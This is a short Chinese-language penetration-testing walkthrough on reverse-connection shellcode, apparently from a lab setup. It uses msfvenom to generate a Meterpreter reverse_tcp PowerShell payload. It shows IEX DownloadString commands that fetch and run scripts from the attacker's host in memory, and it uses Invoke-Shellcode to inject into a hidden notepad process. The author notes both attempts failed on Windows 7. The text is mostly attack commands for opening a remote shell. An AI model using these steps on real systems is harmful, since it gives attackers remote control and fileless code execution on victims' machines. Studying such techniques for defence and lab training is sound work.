Shellcode为16进制的机器码,根据不同的任务可能是发出一条系统调用或建立一个高权限的Shell,Shellcode也就由此得名。它的最终目的是取得目标机器的控制权。(一段用于利用软件漏洞而执行的代码)
反向连接的shellcode:
当目标计算机在防火墙后时,防火墙不允许外边的计算机主动访问目标机器。所以即使采用shellcode建立了服务后门,还是不能与目标计算机建立连接。反向连接的含义就是,让目标计算机通过特定的IP(攻击者的)和端口反向连接到攻击者,也可以设定为在固定的时间段主动来建立连接。
Invoke-ShellCode脚本:常用于将 ShellCode 插入指定的进程 ID 或本地 powershell 中
1.直接执行ShellCode反弹 meterpreter shell
(1)使用 msfvenom 命令生成一个powershell 脚本木马,kali(ip):192.168.110.130
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=4444 -f powershell -o /var/www/html/test
(2)在 msf 中使用 reverse_https 模块进行反弹
(3)在目标机 powershell 输入命令下载脚本。IEX加载到内存,并没有把该脚本下载到本地
IEX(New-Object Net.WebClient).DownloadString("http://192.168.110.130/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
IEX(New-Object Net.WebClient).DownloadString("http://192.168.110.130/test")
(4)运行木马,Force:不用提示,直接执行
Invoke-Shellcode -Shellcode($buf) -Force
win7执行后不知道为什么会出现 windows powershell 停止工作,meterpreter反弹不成功
2.指定进程注入 ShellCode 反弹 meterpreter shell
(1)查看当前进程
Get-Process 或者 ps
(2)创建一个新进程,启动记事本,并把它设置为隐藏
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
如果没隐藏窗口,记事本弹出来
结果会多了一个 id为 2484 ,名为 notepad 的进程
(3)输入命令,使用 Invoke-Shellcode 脚本进程注入
Invoke-Shellcode -ProcessID 2484 -Shellcode($buf) -Force
记事本直接停止工作,无法反弹 meterpreter shell(本来应该成功的)